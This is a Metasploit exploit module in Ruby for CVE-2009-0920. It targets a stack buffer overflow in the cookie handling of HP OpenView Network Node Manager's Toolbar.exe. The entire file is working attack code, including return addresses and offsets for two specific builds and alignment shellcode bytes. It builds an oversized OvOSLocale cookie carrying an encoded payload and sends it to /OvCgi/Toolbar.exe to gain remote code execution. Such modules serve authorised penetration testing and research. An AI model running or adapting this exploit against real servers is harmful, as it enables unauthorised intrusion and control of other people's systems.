require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0
and 7.53. By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an
attacker may be able to execute arbitrary code. Please note that this module only works
against a specific build (ie. NNM 7.53_01195)
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 13194 $',
'Author' =>
[
'Oren Isacson',
'juan vazquez',
'sinn3r',
],
'References' =>
[
[ 'CVE', '2009-0920' ],
[ 'OSVDB', '53242' ],
[ 'BID', '34294' ],
[ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDX'
}
},
'Platform' => 'win',
'Targets' =>
[
[
'HP OpenView Network Node Manager Release B.07.00',
{
'Ret' => 0x5A212147,
'Offset' => 0xFC,
'ReadAddress' => 0x5A03A225,
'EDXAdjust' => 0x17,
}
],
[
'HP OpenView Network Node Manager 7.53 Patch 01195',
{
'Eax' => 0x5a456eac,
'EaxOffset' => 251,
'Ret' => 0x5A23377C,
'Max' => 8000,
}
]
],
'DisclosureDate' => 'Jan 21 2009'))
register_options( [ Opt::RPORT(80) ], self.class )
end
def exploit
if target.name =~ /7\.53/
align = "\x87\xfa"
align << "\x80\xc2\x27"
align << "\xff\xe2"
p = align + payload.encoded
sploit = 'en_US'
sploit << rand_text_alphanumeric(247)
sploit << [target.ret].pack('V*')
sploit << rand_text_alphanumeric(target['EaxOffset']-sploit.length+'en_US'.length)
sploit << [target['Eax']].pack('V*')
sploit << rand_text_alphanumeric(3200)
sploit << make_nops(100 - align.length)
sploit << align
sploit << p
sploit << rand_text_alphanumeric(target['Max']-sploit.length)
elsif target.name =~ /B\.07\.00/
edx = Rex::Arch::X86::EDX
sploit = "en_US"
sploit << rand_text_alphanumeric(target['Offset'] - "en_US".length, payload_badchars)
sploit << [target.ret].pack('V')
sploit << [target['ReadAddress']].pack('V')
sploit << "\x90\x90\x90\x90"
sploit << "\x54"
sploit << "\x5A"
sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true)
sploit << "\x81\xc4\x48\xf4\xff\xff"
sploit << payload.encoded
end
send_request_raw({
'uri' => "/OvCgi/Toolbar.exe",
'method' => "GET",
'cookie' => "OvOSLocale=" + sploit + "; OvAcceptLang=en-usa",
}, 20)
handler
disconnect
end
end